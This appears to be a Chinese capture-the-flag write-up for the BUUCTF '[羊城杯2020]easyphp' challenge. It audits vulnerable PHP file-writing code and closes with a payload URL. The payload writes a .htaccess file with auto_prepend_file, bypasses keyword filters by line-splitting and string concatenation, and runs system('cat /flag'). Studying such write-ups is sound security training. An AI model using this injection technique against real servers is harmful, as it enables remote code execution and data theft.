BUUCTF_[羊城杯2020]easyphp(构造特殊文件名,字符串拼接绕过/正则表达式/代码审计)

发布于:2025-02-10 ⋅ 阅读:(48) ⋅ 点赞:(0)

打开靶场,直接是php源代码

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

php代码审计

扫描当前目录下的所有文件和文件夹,然后删除除了 index.php 之外的所有文件。

1. 扫描当前目录
$files = scandir('./');
  • scandir() 用于扫描指定目录下的文件和文件夹。
  • './' 表示当前目录。这行代码会将当前目录下的所有文件和文件夹的名称存储在数组 $files 中,数组中还会包含两个特殊的目录项:. (表示当前目录)和 .. (表示上级目录)。
2. 遍历文件数组
foreach($files as $file) {
  • 使用 foreach 循环遍历 $files 数组,每次循环将数组中的一个元素赋值给变量 $file,即当前遍历到的文件或文件夹的名称。
3. 检查是否为文件
    if(is_file($file)){
  • is_file() 是 PHP 的一个内置函数,用于检查指定的路径是否为一个普通文件。如果 $file 是一个文件,则执行下面的代码块。
4. 排除 index.php 并删除文件
        if ($file !== "index.php") {
            unlink($file);
        }
  • 这是一个条件判断语句,检查当前文件是否不是 index.php
  • 如果不是 index.php,则使用 unlink() 函数删除该文件。unlink() 是 用于删除文件的函数。

 

对用户通过 GET 请求传递的 contentfilename 参数进行检查和过滤,以确保输入的内容不包含某些敏感关键字

1. 参数检查是否存在
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
    highlight_file(__FILE__);
    die();
}
  • isset($_GET['content'])isset($_GET['filename']) 用于检查 GET 请求中是否包含 contentfilename 参数。
  • 如果这两个参数中的任何一个不存在,highlight_file(__FILE__) 函数会将当前 PHP 文件的源代码以高亮的形式输出到页面上,然后 die() 函数会终止脚本的执行。
2. 获取 content 参数值
$content = $_GET['content'];

将 GET 请求中 content 参数的值赋给变量 $content,后续会对该变量进行关键字检查。

3. 关键字过滤
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
    echo "Hacker";
    die();
}
  • stristr() 用于不区分大小写地查找字符串中是否包含指定的子字符串。
  • 代码会依次检查 $content 中是否包含 onhtmltypeflaguploadfile 这些关键字。
  • 如果 $content 中包含任何一个关键字,脚本会输出 "Hacker" 并终止执行,以此来防止用户输入包含潜在危险或敏感信息的内容。

 

 

对用户通过 GET 请求传入的 filename 参数进行合法性检查。删除当前目录下除 index.php 之外的所有文件。将用户传入的 content 内容和固定字符串 "Hello, world" 写入到指定的文件中。

1. 获取并验证 filename
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
    echo "Hacker";
    die();
}
  • $filename = $_GET['filename'];:从 GET 请求中获取 filename 参数的值。
  • preg_match("/[^a-z\.]/", $filename) == 1:使用正则表达式 /[^a-z\.]/filename 进行检查。该正则表达式的含义是匹配除小写字母 az 和点号 . 之外的任意字符。如果匹配成功(即 filename 中包含非法字符),则输出 "Hacker" 并终止脚本执行。
正则表达式分析

检查 $filename 字符串中是否包含除小写字母和点号之外的字符。如果包含,则 preg_match 函数返回 1,整个表达式的值为 true;如果不包含,则 preg_match 函数返回 0,整个表达式的值为 false

  • /[^a-z\.]/ 是一个正则表达式,用于匹配除了小写字母 az 和点号 . 之外的任意字符。具体解释如下:
    • ^:在方括号 [] 内使用时,表示取反的意思,即匹配不在方括号内指定范围内的字符。
    • a-z:表示小写字母 az 的范围。
    • \.:表示匹配点号 .。由于点号在正则表达式中有特殊含义(匹配任意单个字符),所以需要使用反斜杠 \ 进行转义,以表示真正的点号。

 

2. 删除当前目录下的文件
$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}
  • $files = scandir('./');:使用 scandir 函数扫描当前目录,将目录下的所有文件和文件夹名称存储在数组 $files 中。
  • foreach 循环遍历 $files 数组,对于每个元素:
    • is_file($file):检查该元素是否为文件。
    • if ($file !== "index.php"):如果该文件不是 index.php,则使用 unlink 函数将其删除。
3. 写入文件
file_put_contents($filename, $content . "\nHello, world");
  • file_put_contents 函数将 $content 变量的值和字符串 "\nHello, world" 写入到 $filename 指定的文件中。如果文件不存在,该函数会创建文件;如果文件已存在,则会覆盖原有内容。
file_put_contents函数

用于将一个字符串写入到文件中。

file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int|false
  • $filename
    • 必需参数,指定要写入数据的文件的路径。可以是相对路径,也可以是绝对路径。如果文件不存在,函数会尝试创建该文件;如果文件已存在,默认情况下会覆盖原有内容。
  • $data
    • 必需参数,要写入文件的数据。可以是字符串、数组或实现了 Traversable 接口的对象。如果传入数组,数组中的每个元素会依次写入文件,元素之间不会自动添加分隔符。
  • $flags
    • 可选参数,用于指定写入文件时的附加选项,是一个或多个标志的按位或组合。常用的标志如下:
      • FILE_USE_INCLUDE_PATH:在 include_path 中查找文件。
      • FILE_APPEND:如果文件已存在,将数据追加到文件末尾,而不是覆盖原有内容。
      • LOCK_EX:在写入文件时获取独占锁,防止其他进程同时写入该文件,保证数据的一致性。
  • $context
    • 可选参数,是一个 stream_context 资源,用于设置文件操作的上下文选项,例如设置 HTTP 请求头、超时时间等。常用于处理远程文件或自定义文件流。
  • 如果写入成功,返回实际写入文件的字节数。如果写入失败,返回 false

 思路

代码中用户通过 GET 请求传递的 contentfilename 参数进行检查和过滤。

1. filename 过滤

可能绕过过滤

preg_match("/[^a-z\.]/", $filename) == 1:使用正则表达式 /[^a-z\.]/ ,含义是匹配除小写字母 az 和点号 . 之外的任意字符(检查 $filename 字符串中是否包含除小写字母和点号之外的字符。)

方法: 构造特殊的文件名绕过过滤

        例:.htaccess 符合该规则,因此可以通过验证。

2. $content 过滤

可能会导致存储的文件包含恶意代码或敏感信息。

检查 $content 中是否包含 onhtmltypeflaguploadfile 这些关键字。

方法:将 flag 拆分为 flag 并使用字符串拼接的方式绕过了该过滤

        例:'fla'.'g'

3.删除除了 index.php 之外的所有文件

机会只有一次。

因为他会自动删除根目录下所有除了index.php的所有文件,写入成功时,你不刷新,可以看到flag,但是一旦刷新,文件就没有了,所以写入成功也只能刷新一次。

步骤:

输入URL

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

  • content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>:经过 URL 解码后,content 的值为:
php_value auto_prepend_fil
e .htaccess
#<?php system('cat /fla'.'g');?>
  • php_value auto_prepend_file .htaccess:在 Apache 服务器中,.htaccess 文件可用于配置特定目录的服务器设置。php_value 指令用于设置 PHP 的配置选项,auto_prepend_file 选项会让 PHP 在执行任何脚本之前先包含指定的文件。这里试图将 .htaccess 文件本身设置为预处理文件。
  • #<?php system('cat /fla'.'g');?>:这是一段 PHP 代码,使用 system 函数执行系统命令 cat /flag,目的是读取 /flag 文件的内容。通过将这段代码写入 .htaccess 文件并使其成为预处理文件,当访问该目录下的 PHP 脚本时,就会执行这段恶意代码。
  • filename=.htaccess:指定要写入内容的文件名为 .htaccess,攻击者希望将恶意内容写入该文件以实现攻击目的。


网站公告

今日签到

点亮在社区的每一天
去签到